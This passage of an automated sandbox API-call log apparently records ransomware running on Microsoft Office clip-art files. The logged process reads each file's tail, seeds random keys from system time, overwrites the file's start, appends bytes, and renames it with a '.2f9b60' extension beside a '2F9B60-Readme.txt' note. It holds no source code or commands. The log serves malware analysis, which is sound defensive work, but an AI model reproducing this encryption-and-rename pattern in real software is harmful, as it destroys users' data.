RtlFreeAnsiString (AnsiString="b") [0136.821] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9ee30) returned 1 [0136.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0136.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0136.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1673a0) returned 1 [0136.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a1a0) returned 1 [0136.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0136.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0136.822] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a560) returned 1 [0136.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0136.823] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a620) returned 1 [0136.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x205068b0 [0136.823] wcscat (in: _Dest=0x205068b0, _Source="ba3584fa7714" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ba3584fa7714") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ba3584fa7714" [0136.823] wcscat (in: _Dest=0x205068b0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ba3584fa7714.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ba3584fa7714.2f9b60" [0136.823] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ba3584fa7714.2f9b60", NtPathName=0x283af870, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\ba3584fa7714.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.823] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cc90 [0136.823] NtSetInformationFile (FileHandle=0x1d9c, IoStatusBlock=0x283af910, FileInformation=0x2050cc90, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cc90) returned 1 [0146.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20500180) returned 1 [0146.839] NtQueryInformationFile (in: FileHandle=0x1d9c, IoStatusBlock=0x283af8d8, FileInformation=0x283af8e8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x283af8d8, FileInformation=0x283af8e8) returned 0x0 [0146.839] NtSetInformationFile (FileHandle=0x1d9c, IoStatusBlock=0x283af8d8, FileInformation=0x283af8e8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x205068b0) returned 1 [0147.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced8f30) returned 1 [0147.132] FlushFileBuffers (hFile=0x1d9c) returned 1 [0147.133] CloseHandle (hObject=0x1d9c) returned 1 [0147.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86bf70 [0147.139] wcscpy (in: _Dest=0x1b86bf70, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.139] wcscat (in: _Dest=0x1b86bf70, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bf70) returned 1 [0147.140] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b550) returned 1 Thread: id = 1776 os_tid = 0xe88 [0132.131] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf")) returned 0x20 [0133.058] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF", dwFileAttributes=0x20) returned 1 [0134.155] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1dd4 [0136.895] GetFileSizeEx (in: hFile=0x1dd4, lpFileSize=0x2844fb60 | out: lpFileSize=0x2844fb60*=23280) returned 1 [0136.895] SetFilePointerEx (in: hFile=0x1dd4, liDistanceToMove=0x5aec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.895] ReadFile (in: hFile=0x1dd4, lpBuffer=0x2844fae0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2844fb28, lpOverlapped=0x0 | out: lpBuffer=0x2844fae0*, lpNumberOfBytesRead=0x2844fb28*=0x4, lpOverlapped=0x0) returned 1 [0136.900] SetFilePointerEx (in: hFile=0x1dd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0136.900] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a650 [0136.901] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a680 [0136.901] NtQuerySystemTime (in: CurrentTime=0x2844fa20 | out: CurrentTime=0x2844fa20*=132462177421390000) returned 0x0 [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x12c435ec [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x198f5048 [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x3dcd4f84 [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0xcb2623f [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x2368f388 [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x37ee3bce [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x5d8d06cd [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x58ae35a1 [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x3dc6e12f [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x581b294e [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x6a86118d [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x1f8db54e [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x7c8ed962 [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x214ca23 [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x27906873 [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x354ddef1 [0136.901] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x2c0be609 [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x6729d31b [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x44978ebf [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x2e2bf0a9 [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0xccd5f15 [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x3f867a2e [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x3a522ca8 [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x1b751754 [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x545a21cc [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0xaa40000 [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x2268575e [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0xab16afa [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x36b6c052 [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x7a134c54 [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x4d569698 [0136.902] RtlRandomEx (in: Seed=0x2844fa10 | out: Seed=0x2844fa10) returned 0x3df4b6ce [0136.912] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a170 [0136.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a350 [0136.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a680) returned 1 [0136.913] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.913] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203190f0 [0136.913] SetFilePointerEx (in: hFile=0x1dd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.913] ReadFile (in: hFile=0x1dd4, lpBuffer=0x203190f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2844fa80, lpOverlapped=0x0 | out: lpBuffer=0x203190f0*, lpNumberOfBytesRead=0x2844fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0136.929] SetFilePointerEx (in: hFile=0x1dd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0136.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0136.929] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.929] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x203118d0 [0136.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a0e0 [0136.930] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a230 [0136.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a230) returned 1 [0136.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.930] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.930] WriteFile (in: hFile=0x1dd4, lpBuffer=0x203118d0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2844fa80, lpOverlapped=0x0 | out: lpBuffer=0x203118d0*, lpNumberOfBytesWritten=0x2844fa80*=0x3c00, lpOverlapped=0x0) returned 1 [0136.938] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203118d0) returned 1 [0136.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x203190f0) returned 1 [0136.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a3e0 [0136.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.939] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a560 [0136.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a560) returned 1 [0136.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x4205a560 [0136.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a590 [0136.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a5c0 [0136.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a5c0) returned 1 [0136.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.940] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.940] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x166f20 [0136.941] SetFilePointerEx (in: hFile=0x1dd4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0136.941] WriteFile (in: hFile=0x1dd4, lpBuffer=0x166f20*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x2844fb30, lpOverlapped=0x0 | out: lpBuffer=0x166f20*, lpNumberOfBytesWritten=0x2844fb30*=0x10a, lpOverlapped=0x0) returned 1 [0136.953] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97580 [0136.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x420607b0 [0136.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0136.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a4d0 [0136.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205a410 [0136.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a410) returned 1 [0136.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420607b0) returned 1 [0136.954] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97580) returned 1 [0136.954] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9feb0 [0136.954] sprintf (in: _Dest=0x1cd9feb0, _Format="%c%c" | out: _Dest="8f") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9feb2, _Format="%c%c" | out: _Dest="2d") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9feb4, _Format="%c%c" | out: _Dest="61") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9feb6, _Format="%c%c" | out: _Dest="0f") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9feb8, _Format="%c%c" | out: _Dest="1a") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9feba, _Format="%c%c" | out: _Dest="4d") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9febc, _Format="%c%c" | out: _Dest="d0") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9febe, _Format="%c%c" | out: _Dest="aa") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fec0, _Format="%c%c" | out: _Dest="fe") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fec2, _Format="%c%c" | out: _Dest="2b") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fec4, _Format="%c%c" | out: _Dest="16") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fec6, _Format="%c%c" | out: _Dest="52") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fec8, _Format="%c%c" | out: _Dest="f1") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9feca, _Format="%c%c" | out: _Dest="2d") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fecc, _Format="%c%c" | out: _Dest="32") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fece, _Format="%c%c" | out: _Dest="94") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fed0, _Format="%c%c" | out: _Dest="7a") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fed2, _Format="%c%c" | out: _Dest="bd") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fed4, _Format="%c%c" | out: _Dest="75") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fed6, _Format="%c%c" | out: _Dest="18") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fed8, _Format="%c%c" | out: _Dest="50") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9feda, _Format="%c%c" | out: _Dest="2f") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fedc, _Format="%c%c" | out: _Dest="b5") returned 2 [0136.955] sprintf (in: _Dest=0x1cd9fede, _Format="%c%c" | out: _Dest="c2") returned 2 [0136.955] RtlInitAnsiString (in: DestinationString=0x2844fba8, SourceString="8f2d610f1a4dd0aafe2b1652f12d32947abd7518502fb5c2" | out: DestinationString="8f2d610f1a4dd0aafe2b1652f12d32947abd7518502fb5c2") [0136.955] RtlAnsiStringToUnicodeString (in: DestinationString=0x2844fb78, SourceString="8f2d610f1a4dd0aafe2b1652f12d32947abd7518502fb5c2", AllocateDestinationString=1 | out: DestinationString="8f2d610f1a4dd0aafe2b1652f12d32947abd7518502fb5c2") returned 0x0 [0136.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ced98d0 [0136.956] RtlFreeAnsiString (AnsiString="8") [0136.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9feb0) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d5a50) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a4d0) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x166f20) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a560) returned 1 [0136.956] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a590) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a3e0) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a0e0) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a650) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a170) returned 1 [0136.957] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205a350) returned 1 [0136.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8a) returned 0x4205c3d0 [0136.957] wcscat (in: _Dest=0x4205c3d0, _Source="8f2d610f1a4d" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8f2d610f1a4d") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8f2d610f1a4d" [0136.957] wcscat (in: _Dest=0x4205c3d0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8f2d610f1a4d.2f9b60") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8f2d610f1a4d.2f9b60" [0136.957] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8f2d610f1a4d.2f9b60", NtPathName=0x2844fb50, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\8f2d610f1a4d.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0136.957] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xa8) returned 0x2050cea0 [0136.958] NtSetInformationFile (FileHandle=0x1dd4, IoStatusBlock=0x2844fbf0, FileInformation=0x2050cea0, Length=0xa8, FileInformationClass=0xa) returned 0x0 [0146.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050cea0) returned 1 [0146.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf48f90) returned 1 [0146.841] NtQueryInformationFile (in: FileHandle=0x1dd4, IoStatusBlock=0x2844fbb8, FileInformation=0x2844fbc8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2844fbb8, FileInformation=0x2844fbc8) returned 0x0 [0146.841] NtSetInformationFile (FileHandle=0x1dd4, IoStatusBlock=0x2844fbb8, FileInformation=0x2844fbc8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0147.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205c3d0) returned 1 [0147.002] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced98d0) returned 1 [0147.002] FlushFileBuffers (hFile=0x1dd4) returned 1 [0147.022] CloseHandle (hObject=0x1dd4) returned 1 [0147.030] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x88) returned 0x1b86bc10 [0147.031] wcscpy (in: _Dest=0x1b86bc10, _Source="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\" [0147.031] wcscat (in: _Dest=0x1b86bc10, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" [0147.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\2f9b60-readme.txt")) returned 0x20 [0147.031] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86bc10) returned 1 [0147.032] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86b430) returned 1 Thread: id = 1777 os_tid = 0x830 [0132.138] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf")) returned 0x20 [0133.011] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF", dwFileAttributes=0x20) returned 1 [0133.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1cdc [0135.792] GetFileSizeEx (in: hFile=0x1cdc, lpFileSize=0x284ef9a0 | out: lpFileSize=0x284ef9a0*=13170) returned 1 [0135.792] SetFilePointerEx (in: hFile=0x1cdc, liDistanceToMove=0x336e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.792] ReadFile (in: hFile=0x1cdc, lpBuffer=0x284ef920, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x284ef968, lpOverlapped=0x0 | out: lpBuffer=0x284ef920*, lpNumberOfBytesRead=0x284ef968*=0x4, lpOverlapped=0x0) returned 1 [0135.902] SetFilePointerEx (in: hFile=0x1cdc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0135.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20267a70 [0135.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202678c0 [0135.902] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262c30 [0135.902] NtQuerySystemTime (in: CurrentTime=0x284ef860 | out: CurrentTime=0x284ef860*=132462177411406000) returned 0x0 [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x48af85d1 [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x16a144d6 [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x7500af09 [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x304df584 [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x3ccb92db [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x6254393b [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x35e5f175 [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x427f5528 [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x78d1c7fa [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x4442f026 [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x4e0d2f04 [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x5911227e [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x530c02ea [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x5b21988d [0135.902] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x5ee4363 [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x66978654 [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x6191c23 [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x334b1d0e [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x55f1bd5f [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0xc49315c [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x64b7f4c0 [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x40d506f7 [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0xd9cd53c [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x656e3e5c [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x5034b2b5 [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x18d4d57 [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x5ef58ea6 [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x8461de3 [0135.903] RtlRandomEx (in: Seed=0x284ef850 | out: Seed=0x284ef850) returned 0x66e6d53b [0135.903] RtlRandomEx 